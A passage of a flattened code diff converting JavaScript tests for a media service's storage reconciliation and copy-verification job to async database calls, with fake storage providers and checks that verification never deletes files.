(only copy corrupt) and vod 5 (only copy missing)');-- const st = (vodId, p) => d.prepare('SELECT state, verified_at, size_bytes FROM media_locations WHERE object_id = ? AND provider = ?').get(objId(vodId), p);-- assert.strictEqual(st(3, 'b2').state, 'missing');-- assert.strictEqual(st(3, 'r2').state, 'present');-- assert.strictEqual(st(4, 'b2').state, 'corrupt');-- assert.strictEqual(st(4, 'b2').size_bytes, 12345);-- assert.strictEqual(st(5, 'local').state, 'missing');-- assert.ok(st(3, 'r2').verified_at, '--verify records verified_at');-- assert.ok(v.counts.locations_updated >= 6);-- console.log('✅ --verify: HEADs remotes (fake provider), records states; detects lost canonical with a surviving replica');++ const v = await reconcile({ verify: true, head: fakeHead });++ assert.strictEqual(heads.length, 4, 'every remote location HEADed once');++ assert.strictEqual(count(v, 'remote_missing'), 1, 'vod 3 canonical B2 copy is gone');++ assert.strictEqual(v.issues.remote_missing.items[0].key, 'vods/c.webm');++ assert.strictEqual(count(v, 'canonical_missing_replica_present'), 1);++ assert.deepStrictEqual(v.issues.canonical_missing_replica_present.items[0].present, ['r2'], 'the R2 cache still has it');++ assert.strictEqual(count(v, 'size_mismatch'), 2, 'local vod 1 + remote vod 4');++ assert.strictEqual(count(v, 'no_present_copy'), 2, 'vod 4 (only copy corrupt) and vod 5 (only copy missing)');++ const st = async (vodId, p) => await d.prepare('SELECT state, verified_at, size_bytes FROM media_locations WHERE object_id = ? AND provider = ?').get(await objId(vodId), p);++ assert.strictEqual((await st(3, 'b2')).state, 'missing');++ assert.strictEqual((await st(3, 'r2')).state, 'present');++ assert.strictEqual((await st(4, 'b2')).state, 'corrupt');++ assert.strictEqual((await st(4, 'b2')).size_bytes, 12345);++ assert.strictEqual((await st(5, 'local')).state, 'missing');++ assert.ok((await st(3, 'r2')).verified_at, '--verify records verified_at');++ assert.ok(v.counts.locations_updated >= 6);++ console.log('✅ --verify: HEADs remotes (fake provider), records states; detects lost canonical with a surviving replica');-- // An unconfigured provider is "unverifiable", never "missing".-- const u = await reconcile({ verify: true, head: async () => undefined });-- assert.strictEqual(u.counts.remote_unverifiable, 4);-- assert.strictEqual(count(u, 'remote_missing'), 0);++ // An unconfigured provider is "unverifiable", never "missing".++ const u = await reconcile({ verify: true, head: async () => undefined });++ assert.strictEqual(u.counts.remote_unverifiable, 4);++ assert.strictEqual(count(u, 'remote_missing'), 0);-- // The scripts against the same database.-- const rc = run('reconcile-objects.js', ['--json']);-- assert.strictEqual(rc.code, 1, 'issues → exit 1');-- assert.ok(JSON.parse(rc.out).issues.orphan_location.count === 1);-- // A deleted object's thumbnail that is still served is reachable too.-- write(path.join(env.THUMBNAILS_PATH, 'vod-1-5.jpg'), 'jpg');-- db.run("UPDATE vods SET thumbnail_url = '/t/vod-1-5.jpg' WHERE id = 1");-- model.sync('vod', 1);-- db.run('DELETE FROM vods WHERE id = 1');-- const t = await reconcile({});-- assert.ok(t.issues.deleted_publicly_reachable.items.some(i => i.reason.startsWith('derivative')), 'thumbnail of a deleted vod is flagged');++ // The scripts against the same database.++ const rc = await run('reconcile-objects.js', ['--json']);++ assert.strictEqual(rc.code, 1, 'issues → exit 1');++ assert.ok(JSON.parse(rc.out).issues.orphan_location.count === 1);++ // A deleted object's thumbnail that is still served is reachable too.++ write(path.join(env.THUMBNAILS_PATH, 'vod-1-5.jpg'), 'jpg');++ await db.run("UPDATE vods SET thumbnail_url = '/t/vod-1-5.jpg' WHERE id = 1");++ await model.sync('vod', 1);++ await db.run('DELETE FROM vods WHERE id = 1');++ const t = await reconcile({});++ assert.ok(t.issues.deleted_publicly_reachable.items.some(i => i.reason.startsWith('derivative')), 'thumbnail of a deleted vod is flagged');-- db.run('UPDATE vods SET file_size = ? WHERE id = 3', [5 * MB]);-- model.sync('vod', 3);-- const inv = run('object-invariant.js', ['--json']);-- const invReport = JSON.parse(inv.out);-- assert.strictEqual(invReport.counts.violation, 1);-- assert.strictEqual(invReport.objects[0].legacy_ref, 'legacy:live:vod:3');-- assert.strictEqual(d.prepare("SELECT level FROM media_invariant_violations WHERE object_id = ? AND resolved_at IS NULL").get(objId(3)).level, 'violation');-- assert.match(run('object-invariant.js', ['--dry-run']).out, /violation 1/);-- console.log('✅ scripts: reconcile exit codes + JSON, invariant report records violations');++ await db.run('UPDATE vods SET file_size = ? WHERE id = 3', [5 * MB]);++ await model.sync('vod', 3);++ const inv = await run('object-invariant.js', ['--json']);++ const invReport = JSON.parse(inv.out);++ assert.strictEqual(invReport.counts.violation, 1);++ assert.strictEqual(invReport.objects[0].legacy_ref, 'legacy:live:vod:3');++ assert.strictEqual((await d.prepare("SELECT level FROM media_invariant_violations WHERE object_id = ? AND resolved_at IS NULL").get(await objId(3))).level, 'violation');++ assert.match((await run('object-invariant.js', ['--dry-run'])).out, /violation 1/);++ console.log('✅ scripts: reconcile exit codes + JSON, invariant report records violations');-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('objects reconciliation: all checks passed');++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('objects reconciliation: all checks passed');++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -10,217 +10,219 @@ const os = require('os');const path = require('path');const http = require('http');const crypto = require('crypto');--const { execFileSync } = require('child_process');----const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-verify-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--const env = {-- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),-- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'), ASSETS_PATH: dir('assets'),-- MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: 'http://127.0.0.1:9',--};--for (const k of ['MEDIA_B2_ENDPOINT', 'MEDIA_B2_BUCKET', 'MEDIA_R2_ENDPOINT', 'MEDIA_R2_BUCKET', 'EVENTS_URL', 'MEDIA_VERIFY_ENABLED', 'MEDIA_VERIFY_REPAIR_CORRUPT']) process.env[k] = '';--Object.assign(process.env, env);----const db = require('../server/db/database');--const config = require('../server/config');--const model = require('../server/objects/model');--const job = require('../server/objects/verify-job');--const copyReport = require('../server/objects/copy-report');----const d = db.getDb();--const sha = (b) => crypto.createHash('sha256').update(b).digest('hex');--const put = (name, content) => { const p = path.join(env.OBJECTS_PATH, 'live', name); fs.mkdirSync(path.dirname(p), { recursive: true }); fs.writeFileSync(p, content); return p; };--function obj(name, { size, hash = null, status = 'ready', locs = [], owner = 7 }) {-- const id = model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: status, size_bytes: size, content_hash: hash,-- owner_user_id: owner, owner_subject: 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ', mime_type: 'application/octet-stream', metadata: { filename: name } });-- for (const l of locs) model.upsertLocation(id, l);-- return id;--}----// Fake provider: bucket[provider][key] = size (absent → 404). r2 is "not configured" (HEAD undefined).--const bucket = { b2: {} };--const heads = [], uploads = [];--const head = async (provider, key) => { heads.push(`${provider}:${key}`); if (!bucket[provider]) return undefined; const s = bucket[provider][key]; return s === undefined ? null : { size: s }; };--const upload = async (provider, key, file) => { uploads.push(`${provider}:${key}`); if (!bucket[provider]) return undefined; const size = fs.statSync(file).size; bucket[provider][key] = size; return { size }; };----const A = Buffer.from('aaaaaaaaaa'), B = Buffer.from('bbbbbbbbbbbb'), E = Buffer.from('eeee'), G = Buffer.from('gggggg');--const ids = {-- good: obj('a', { size: A.length, hash: sha(A), locs: [{ provider: 'local', key: put('a', A), state: 'present' }] }),-- restore: obj('b', { size: B.length, locs: [{ provider: 'local', key: put('b', B), state: 'present' }, { provider: 'b2', key: 'objs/b', state: 'pending' }] }),-- remoteCorrupt: obj('c', { size: 300, locs: [{ provider: 'b2', key: 'objs/c', state: 'pending' }] }),-- localGone: obj('d', { size: 40, locs: [{ provider: 'local', key: path.join(env.OBJECTS_PATH, 'live', 'd-gone'), state: 'present' }] }),-- localBadHash: obj('e', { size: E.length, hash: '0'.repeat(64), locs: [{ provider: 'local', key: put('e', E), state: 'present' }, { provider: 'b2', key: 'objs/e', state: 'pending' }] }),-- unverifiable: obj('f', { size: 50, locs: [{ provider: 'r2', key: 'objs/f', state: 'pending' }] }),-- corruptNoRepair: obj('g', { size: G.length, locs: [{ provider: 'local', key: put('g', G), state: 'present' }, { provider: 'b2', key: 'objs/g', state: 'pending' }] }),-- noLocations: obj('h', { size: 10 }),--};--bucket.b2['objs/c'] = 12345; // wrong size → corrupt--bucket.b2['objs/e'] = E.length; // the remote copy of e is fine--bucket.b2['objs/g'] = 999; // corrupt, and MEDIA_VERIFY_REPAIR_CORRUPT is off--obj('deleted', { size: 1, status: 'deleted', locs: [{ provider: 'local', key: '/nowhere', state: 'missing' }] });--obj('uploading', { size: 1, status: 'uploading' });--// Legacy row that points at the object whose local file is gone (the report must show it).--d.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path, file_size, visibility, is_public, storage_provider, object_id) VALUES (41, 'live', 7, 'Lost stream', ?, 40, 'public', 1, 'local', ?)")-- .run(path.join(env.OBJECTS_PATH, 'live', 'd-gone'), ids.localGone);--const READY = Object.keys(ids).length;----const loc = (id, p) => d.prepare('SELECT * FROM media_locations WHERE object_id = ? AND provider = ?').get(id, p);--const ver = (id) => d.prepare('SELECT * FROM media_verifications WHERE object_id = ?').get(id);--const snapshot = () => ({-- objects: d.prepare('SELECT COUNT(*) c FROM media_objects').get().c,-- locations: d.prepare('SELECT COUNT(*) c FROM media_locations').get().c,-- vods: d.prepare('SELECT COUNT(*) c FROM vods').get().c,-- files: fs.readdirSync(path.join(env.OBJECTS_PATH, 'live')).sort().join(','),--});----function request(base, p) {-- return new Promise((resolve, reject) => {-- http.get(base + p, (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: b })); }).on('error', reject);-- });--}(async () => {-- const before = snapshot();-- // Nothing may unlink or remove anything while the job runs.-- const deletes = [];-- const orig = { unlinkSync: fs.unlinkSync, unlink: fs.unlink, rmSync: fs.rmSync, rm: fs.rm };-- fs.unlinkSync = (...a) => { deletes.push(a[0]); return orig.unlinkSync(...a); };-- fs.unlink = (...a) => { deletes.push(a[0]); return orig.unlink(...a); };-- fs.rmSync = (...a) => { deletes.push(a[0]); return orig.rmSync(...a); };-- fs.rm = (...a) => { deletes.push(a[0]); return orig.rm(...a); };---- // ── Bounded batches, rotating: never-verified first, then least recently verified ──-- const r1 = await job.runOnce({ batch: 3, head, upload });-- assert.strictEqual(r1.objects_checked, 3, 'a run never checks more than the batch');-- assert.strictEqual(d.prepare('SELECT COUNT(*) c FROM media_verifications').get().c, 3);-- const firstBatch = r1.objects.map(o => o.object_id);-- const r2 = await job.runOnce({ batch: 3, head, upload });-- assert.ok(r2.objects.every(o => !firstBatch.includes(o.object_id)), 'the next run takes objects not verified yet');-- const r3 = await job.runOnce({ batch: 3, head, upload });-- assert.strictEqual(d.prepare('SELECT COUNT(*) c FROM media_verifications').get().c, READY, `${READY} ready objects covered in ceil(${READY}/3) runs`);-- assert.ok(r3.objects.slice(READY - 6).every(o => firstBatch.includes(o.object_id)), 'once all are verified, the oldest verified come round again');-- assert.ok(!d.prepare("SELECT 1 FROM media_verifications v JOIN media_objects o ON o.id = v.object_id WHERE o.lifecycle_status != 'ready'").get(), 'only ready objects are verified');-- console.log('✅ bounded batches rotate through every ready object (never-verified first, then oldest)');---- // ── Verdicts recorded ──-- assert.strictEqual(ver(ids.good).status, 'good');-- assert.strictEqual(loc(ids.good, 'local').state, 'present');-- assert.ok(loc(ids.good, 'local').verified_at);-- assert.strictEqual(loc(ids.remoteCorrupt, 'b2').state, 'corrupt');-- assert.strictEqual(loc(ids.remoteCorrupt, 'b2').size_bytes, 12345);-- assert.strictEqual(ver(ids.remoteCorrupt).status, 'no_good_copy');-- assert.strictEqual(loc(ids.localGone, 'local').state, 'missing');-- assert.strictEqual(ver(ids.localGone).status, 'no_good_copy');-- assert.strictEqual(loc(ids.localBadHash, 'local').state, 'corrupt', 'a local copy whose sha256 differs is corrupt');-- assert.strictEqual(loc(ids.localBadHash, 'b2').state, 'present');-- assert.strictEqual(ver(ids.localBadHash).good_providers, 'b2');-- assert.strictEqual(ver(ids.unverifiable).status, 'unverifiable', 'an unconfigured provider is unverifiable, never missing');-- assert.strictEqual(loc(ids.unverifiable, 'r2').state, 'pending');-- assert.strictEqual(ver(ids.noLocations).status, 'no_good_copy');-- const runs = d.prepare('SELECT * FROM media_verify_runs ORDER BY id').all();-- assert.strictEqual(runs.length, 3);-- assert.ok(runs.every(r => r.finished_at && r.objects_checked >= 1 && r.no_good_copy_total != null));-- assert.strictEqual(runs.reduce((n, r) => n + r.objects_checked, 0), 9);-- console.log('✅ verdicts recorded on media_locations, media_verifications and media_verify_runs');---- // ── Re-upload of a missing remote copy from the good local copy ──-- assert.ok(uploads.includes('b2:objs/b'), 'missing b2 copy re-uploaded');-- assert.strictEqual(bucket.b2['objs/b'], B.length);-- assert.strictEqual(loc(ids.restore, 'b2').state, 'present');-- // The run that first checked it did the re-upload. (media_verifications keeps only the latest verdict,-- // and a later run may re-verify it once batches rotate, with no re-upload left to do.)-- const firstRestore = [r1, r2, r3].flatMap(r => r.objects).find(o => o.object_id === ids.restore);-- assert.strictEqual(firstRestore.reuploads, 1, 'the run that first checked it re-uploaded the missing copy');-- assert.ok(!uploads.includes('b2:objs/g'), 'a corrupt remote copy is not overwritten unless MEDIA_VERIFY_REPAIR_CORRUPT=1');-- assert.strictEqual(loc(ids.corruptNoRepair, 'b2').state, 'corrupt');-- assert.ok(!uploads.includes('b2:objs/e'), 'never re-uploads from a local copy that failed its hash');-- assert.strictEqual(runs.reduce((n, r) => n + r.reuploaded, 0), 1);-- // The per-run budget: with none left the restore is deferred, not attempted.-- delete bucket.b2['objs/b'];-- const deferred = await job.verifyObject(model.getObject(ids.restore), { head, upload, hashMaxBytes: 1e9, repairCorrupt: false, budget: { left: 0 } });-- assert.match(deferred.reuploads[0].error, /^deferred/);-- assert.strictEqual(loc(ids.restore, 'b2').state, 'missing');-- // Opt-in corrupt repair.-- const repaired = await job.verifyObject(model.getObject(ids.corruptNoRepair), { head, upload, hashMaxBytes: 1e9, repairCorrupt: true, budget: { left: 1 } });-- assert.strictEqual(repaired.reuploads[0].ok, true);-- assert.strictEqual(bucket.b2['objs/g'], G.length);-- bucket.b2['objs/b'] = B.length;-- console.log('✅ missing remote copy restored from a verified-good local copy (budgeted; corrupt only when opted in)');---- // ── Never deletes ──-- fs.unlinkSync = orig.unlinkSync; fs.unlink = orig.unlink; fs.rmSync = orig.rmSync; fs.rm = orig.rm;-- assert.deepStrictEqual(deletes, [], 'no unlink/rm during verification');-- assert.deepStrictEqual(snapshot(), before, 'every object, location, legacy row and file is still there');-- assert.ok(model.getObject(ids.remoteCorrupt) && model.getObject(ids.localGone), 'objects with no good copy are kept');-- assert.strictEqual(model.getObject(ids.localGone).lifecycle_status, 'ready', 'and their lifecycle is untouched');-- console.log('✅ never deletes: files, objects, locations and legacy rows all remain');---- // ── Count, /metrics and /api/ready ──-- assert.strictEqual(copyReport.countNoGoodCopy(db), 3, 'c (remote corrupt), d (local gone), h (no locations)');-- const st = job.status();-- assert.strictEqual(st.no_good_copy, 3);-- assert.strictEqual(st.verified_objects, READY);-- assert.ok(st.last_run.finished_at);---- const express = require('express');-- const observability = require('../server/observability');-- const app = express();-- const inst = observability.instrument(app, { release: 'test' });-- observability.mountReady(app, inst.registry, {-- release: 'test', db, config, auth: { jwksLoaded: () => true }, recorder: { activeCount: () => 0 },-- events: { status: () => ({ enabled: false }) }, remote: { configured: () => false, probe: async () => true },++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-verify-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ const env = {++ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),++ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'), ASSETS_PATH: dir('assets'),++ MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: 'http://127.0.0.1:9',++ };++ for (const k of ['MEDIA_B2_ENDPOINT', 'MEDIA_B2_BUCKET', 'MEDIA_R2_ENDPOINT', 'MEDIA_R2_BUCKET', 'EVENTS_URL', 'MEDIA_VERIFY_ENABLED', 'MEDIA_VERIFY_REPAIR_CORRUPT']) process.env[k] = '';++ Object.assign(process.env, env);++++ const db = require('../server/db/database');++ const config = require('../server/config');++ const model = require('../server/objects/model');++ const job = require('../server/objects/verify-job');++ const copyReport = require('../server/objects/copy-report');++++ const d = db.getDb();++ const sha = (b) => crypto.createHash('sha256').update(b).digest('hex');++ const put = (name, content) => { const p = path.join(env.OBJECTS_PATH, 'live', name); fs.mkdirSync(path.dirname(p), { recursive: true }); fs.writeFileSync(p, content); return p; };++ async function obj(name, { size, hash = null, status = 'ready', locs = [], owner = 7 }) {++ const id = await model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: status, size_bytes: size, content_hash: hash,++ owner_user_id: owner, owner_subject: 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ', mime_type: 'application/octet-stream', metadata: { filename: name } });++ for (const l of locs) await model.upsertLocation(id, l);++ return id;++ }++++ // Fake provider: bucket[provider][key] = size (absent → 404). r2 is "not configured" (HEAD undefined).++ const bucket = { b2: {} };++ const heads = [], uploads = [];++ const head = async (provider, key) => { heads.push(`${provider}:${key}`); if (!bucket[provider]) return undefined; const s = bucket[provider][key]; return s === undefined ? null : { size: s }; };++ const upload = async (provider, key, file) => { uploads.push(`${provider}:${key}`); if (!bucket[provider]) return undefined; const size = fs.statSync(file).size; bucket[provider][key] = size; return { size }; };++++ const A = Buffer.from('aaaaaaaaaa'), B = Buffer.from('bbbbbbbbbbbb'), E = Buffer.from('eeee'), G = Buffer.from('gggggg');++ const ids = {++ good: await obj('a', { size: A.length, hash: sha(A), locs: [{ provider: 'local', key: put('a', A), state: 'present' }] }),++ restore: await obj('b', { size: B.length, locs: [{ provider: 'local', key: put('b', B), state: 'present' }, { provider: 'b2', key: 'objs/b', state: 'pending' }] }),++ remoteCorrupt: await obj('c', { size: 300, locs: [{ provider: 'b2', key: 'objs/c', state: 'pending' }] }),++ localGone: await obj('d', { size: 40, locs: [{ provider: 'local', key: path.join(env.OBJECTS_PATH, 'live', 'd-gone'), state: 'present' }] }),++ localBadHash: await obj('e', { size: E.length, hash: '0'.repeat(64), locs: [{ provider: 'local', key: put('e', E), state: 'present' }, { provider: 'b2', key: 'objs/e', state: 'pending' }] }),++ unverifiable: await obj('f', { size: 50, locs: [{ provider: 'r2', key: 'objs/f', state: 'pending' }] }),++ corruptNoRepair: await obj('g', { size: G.length, locs: [{ provider: 'local', key: put('g', G), state: 'present' }, { provider: 'b2', key: 'objs/g', state: 'pending' }] }),++ noLocations: await obj('h', { size: 10 }),++ };++ bucket.b2['objs/c'] = 12345; // wrong size → corrupt++ bucket.b2['objs/e'] = E.length; // the remote copy of e is fine++ bucket.b2['objs/g'] = 999; // corrupt, and MEDIA_VERIFY_REPAIR_CORRUPT is off++ await obj('deleted', { size: 1, status: 'deleted', locs: [{ provider: 'local', key: '/nowhere', state: 'missing' }] });++ await obj('uploading', { size: 1, status: 'uploading' });++ // Legacy row that points at the object whose local file is gone (the report must show it).++ await d.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path, file_size, visibility, is_public, storage_provider, object_id) OVERRIDING SYSTEM VALUE VALUES (41, 'live', 7, 'Lost stream', ?, 40, 'public', 1, 'local', ?) RETURNING id")++ .run(path.join(env.OBJECTS_PATH, 'live', 'd-gone'), ids.localGone);++ const READY = Object.keys(ids).length;++++ const loc = async (id, p) => await d.prepare('SELECT * FROM media_locations WHERE object_id = ? AND provider = ?').get(id, p);++ const ver = async (id) => await d.prepare('SELECT * FROM media_verifications WHERE object_id = ?').get(id);++ const snapshot = async () => ({++ objects: (await d.prepare('SELECT COUNT(*) c FROM media_objects').get()).c,++ locations: (await d.prepare('SELECT COUNT(*) c FROM media_locations').get()).c,++ vods: (await d.prepare('SELECT COUNT(*) c FROM vods').get()).c,++ files: fs.readdirSync(path.join(env.OBJECTS_PATH, 'live')).sort().join(','),});-- const server = await new Promise((resolve) => { const s = app.listen(0, '127.0.0.1', () => resolve(s)); });-- const base = `http://127.0.0.1:${server.address().port}`;-- const ready = await request(base, '/api/ready');-- const body = JSON.parse(ready.body);-- assert.strictEqual(ready.status, 200, 'no good copy never fails readiness');-- assert.strictEqual(body.ready, true);-- assert.strictEqual(body.status, 'degraded');-- assert.deepStrictEqual(body.degraded, ['object_copies']);-- assert.strictEqual(body.checks.object_copies.required, false);-- assert.strictEqual(body.checks.object_copies.detail.no_good_copy, 3);-- assert.match(body.checks.object_copies.error, /^3 ready object\(s\) with no good copy/);-- const m = await request(base, '/metrics');-- assert.ok(m.body.includes('media_objects_no_good_copy 3\n'), m.body);-- assert.match(m.body, /media_verify_last_run_timestamp_seconds \d{10}\n/);-- server.close(); inst.stop();-- console.log('✅ no-good-copy count on /metrics and as a degraded, never-failing /api/ready check');---- // ── Report script (read-only) ──-- const script = path.join(__dirname, '..', 'scripts', 'no-good-copy-report.js');-- const run = (a) => { try { return { code: 0, out: execFileSync(process.execPath, [script, ...a], { env: { ...process.env, ...env }, encoding: 'utf8' }) }; } catch (e) { return { code: e.status, out: String(e.stdout), err: String(e.stderr) }; } };-- const snapBefore = JSON.stringify(d.prepare('SELECT * FROM media_locations ORDER BY id').all()) + JSON.stringify(d.prepare('SELECT * FROM media_verifications ORDER BY object_id').all());-- const js = run(['--json', '--db', env.DB_PATH]);-- assert.strictEqual(js.code, 1, `objects found → exit 1 ${js.err || ''}`);-- const rep = JSON.parse(js.out);-- assert.strictEqual(rep.count, 3);-- assert.deepStrictEqual(rep.objects.map(o => o.object_id).sort(), [ids.remoteCorrupt, ids.localGone, ids.noLocations].sort());-- const gone = rep.objects.find(o => o.object_id === ids.localGone);-- assert.deepStrictEqual(gone.owner, { app: 'live', user_id: 7, subject: 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ' });-- assert.strictEqual(gone.references.vods[0].id, 41);-- assert.strictEqual(gone.references.vods[0].title, 'Lost stream');-- assert.strictEqual(gone.locations[0].state, 'missing');-- assert.strictEqual(gone.last_verification.status, 'no_good_copy');-- assert.strictEqual(rep.objects.find(o => o.object_id === ids.noLocations).locations.length, 0);-- const txt = run(['--db', env.DB_PATH]);-- assert.strictEqual(txt.code, 1);-- assert.ok(txt.out.includes('3 ready object(s) with no good copy'));-- assert.ok(txt.out.includes(ids.localGone) && txt.out.includes('vods#41') && txt.out.includes('locations: (none recorded)'));-- assert.ok(run(['--db', env.DB_PATH, '--app', 'games']).out.startsWith('0 ready object(s)'), '--app filters');-- assert.strictEqual(JSON.stringify(d.prepare('SELECT * FROM media_locations ORDER BY id').all()) + JSON.stringify(d.prepare('SELECT * FROM media_verifications ORDER BY object_id').all()), snapBefore, 'the report writes nothing');-- console.log('✅ no-good-copy report: owners, legacy references, locations; text + --json; read-only');---- // ── Scheduling: disabled by env; start/stop are idempotent ──-- config.verify.enabled = false;-- assert.strictEqual(job.start(), false);-- config.verify.enabled = true;-- assert.strictEqual(job.start({ initialDelayMs: 60 * 60 * 1000 }), true);-- job.stop();---- db.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('objects-verify: all checks passed');-- process.exit(0);++++ function request(base, p) {++ return new Promise((resolve, reject) => {++ http.get(base + p, (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: b })); }).on('error', reject);++ });++ }++++ (async () => {++ const before = await snapshot();++ // Nothing may unlink or remove anything while the job runs.++ const deletes = [];++ const orig = { unlinkSync: fs.unlinkSync, unlink: fs.unlink, rmSync: fs.rmSync, rm: fs.rm };++ fs.unlinkSync = (...a) => { deletes.push(a[0]); return orig.unlinkSync(...a); };++ fs.unlink = (...a) => { deletes.push(a[0]); return orig.unlink(...a); };++ fs.rmSync = (...a) => { deletes.push(a[0]); return orig.rmSync(...a); };++ fs.rm = (...a) => { deletes.push(a[0]); return orig.rm(...a); };++++ // ── Bounded batches, rotating: never-verified first, then least recently verified ──++ const r1 = await job.runOnce({ batch: 3, head, upload });++ assert.strictEqual(r1.objects_checked, 3, 'a run never checks more than the batch');++ assert.strictEqual((await d.prepare('SELECT COUNT(*) c FROM media_verifications').get()).c, 3);++ const firstBatch = r1.objects.map(o => o.object_id);++ const r2 = await job.runOnce({ batch: 3, head, upload });++ assert.ok(r2.objects.every(o => !firstBatch.includes(o.object_id)), 'the next run takes objects not verified yet');++ const r3 = await job.runOnce({ batch: 3, head, upload });++ assert.strictEqual((await d.prepare('SELECT COUNT(*) c FROM media_verifications').get()).c, READY, `${READY} ready objects covered in ceil(${READY}/3) runs`);++ assert.ok(r3.objects.slice(READY - 6).every(o => firstBatch.includes(o.object_id)), 'once all are verified, the oldest verified come round again');++ assert.ok(!await d.prepare("SELECT 1 FROM media_verifications v JOIN media_objects o ON o.id = v.object_id WHERE o.lifecycle_status != 'ready'").get(), 'only ready objects are verified');++ console.log('✅ bounded batches rotate through every ready object (never-verified first, then oldest)');++++ // ── Verdicts recorded ──++ assert.strictEqual((await ver(ids.good)).status, 'good');++ assert.strictEqual((await loc(ids.good, 'local')).state, 'present');++ assert.ok((await loc(ids.good, 'local')).verified_at);++ assert.strictEqual((await loc(ids.remoteCorrupt, 'b2')).state, 'corrupt');++ assert.strictEqual((await loc(ids.remoteCorrupt, 'b2')).size_bytes, 12345);++ assert.strictEqual((await ver(ids.remoteCorrupt)).status, 'no_good_copy');++ assert.strictEqual((await loc(ids.localGone, 'local')).state, 'missing');++ assert.strictEqual((await ver(ids.localGone)).status, 'no_good_copy');++ assert.strictEqual((await loc(ids.localBadHash, 'local')).state, 'corrupt', 'a local copy whose sha256 differs is corrupt');++ assert.strictEqual((await loc(ids.localBadHash, 'b2')).state, 'present');++ assert.strictEqual((await ver(ids.localBadHash)).good_providers, 'b2');++ assert.strictEqual((await ver(ids.unverifiable)).status, 'unverifiable', 'an unconfigured provider is unverifiable, never missing');++ assert.strictEqual((await loc(ids.unverifiable, 'r2')).state, 'pending');++ assert.strictEqual((await ver(ids.noLocations)).status, 'no_good_copy');++ const runs = await d.prepare('SELECT * FROM media_verify_runs ORDER BY id').all();++ assert.strictEqual(runs.length, 3);++ assert.ok(runs.every(r => r.finished_at && r.objects_checked >= 1 && r.no_good_copy_total != null));++ assert.strictEqual(runs.reduce((n, r) => n + r.objects_checked, 0), 9);++ console.log('✅ verdicts recorded on media_locations, media_verifications and media_verify_runs');++++ // ── Re-upload of a missing remote copy from the good local copy ──++ assert.ok(uploads.includes('b2:objs/b'), 'missing b2 copy re-uploaded');++ assert.strictEqual(bucket.b2['objs/b'], B.length);++ assert.strictEqual((await loc(ids.restore, 'b2')).state, 'present');++ // The run that first checked it did the re-upload. (media_verifications keeps only the latest verdict,++ // and a later run may re-verify it once batches rotate, with no re-upload left to do.)++ const firstRestore = [r1, r2, r3].flatMap(r => r.objects).find(o => o.object_id === ids.restore);++ assert.strictEqual(firstRestore.reuploads, 1, 'the run that first checked it re-uploaded the missing copy');++ assert.ok(!uploads.includes('b2:objs/g'), 'a corrupt remote copy is not overwritten unless MEDIA_VERIFY_REPAIR_CORRUPT=1');++ assert.strictEqual((await loc(ids.corruptNoRepair, 'b2')).state, 'corrupt');++ assert.ok(!uploads.includes('b2:objs/e'), 'never re-uploads from a local copy that failed its hash');++ assert.strictEqual(runs.reduce((n, r) => n + r.reuploaded, 0), 1);++ // The per-run budget: with none left the restore is deferred, not attempted.++ delete bucket.b2['objs/b'];++ const deferred = await job.verifyObject(await model.getObject(ids.restore), { head, upload, hashMaxBytes: 1e9, repairCorrupt: false, budget: { left: 0 } });++ assert.match(deferred.reuploads[0].error, /^deferred/);++ assert.strictEqual((await loc(ids.restore, 'b2')).state, 'missing');++ // Opt-in corrupt repair.++ const repaired = await job.verifyObject(await model.getObject(ids.corruptNoRepair), { head, upload, hashMaxBytes: 1e9, repairCorrupt: true, budget: { left: 1 } });++ assert.strictEqual(repaired.reuploads[0].ok, true);++ assert.strictEqual(bucket.b2['objs/g'], G.length);++ bucket.b2['objs/b'] = B.length;++ console.log('✅ missing remote copy restored from a verified-good local copy (budgeted; corrupt only when opted in)');++++ // ── Never deletes ──++ fs.unlinkSync = orig.unlinkSync; fs.unlink = orig.unlink; fs.rmSync = orig.rmSync; fs.rm = orig.rm;++ assert.deepStrictEqual(deletes, [], 'no unlink/rm during verification');++ assert.deepStrictEqual(await snapshot(), before, 'every object, location, legacy row and file is still there');++ assert.ok(await model.getObject(ids.remoteCorrupt) && await model.getObject(ids.localGone), 'objects with no good copy are kept');++ assert.strictEqual((await model.getObject(ids.localGone)).lifecycle_status, 'ready', 'and their lifecycle is untouched');++ console.log('✅ never deletes: files, objects, locations and legacy rows all remain');++++ // ── Count, /metrics and /api/ready ──++ assert.strictEqual(await copyReport.countNoGoodCopy(db), 3, 'c (remote corrupt), d (local gone), h (no locations)');++ const st = await job.status();++ assert.strictEqual(st.no_good_copy, 3);++ assert.strictEqual(st.verified_objects, READY);++ assert.ok(st.last_run.finished_at);++++ const express = require('express');++ const observability = require('../server/observability');++ const app = express();++ const inst = observability.instrument(app, { release: 'test' });++ observability.mountReady(app, inst.registry, {++ release: 'test', db, config, auth: { jwksLoaded: () => true }, recorder: { activeCount: () => 0 },++ 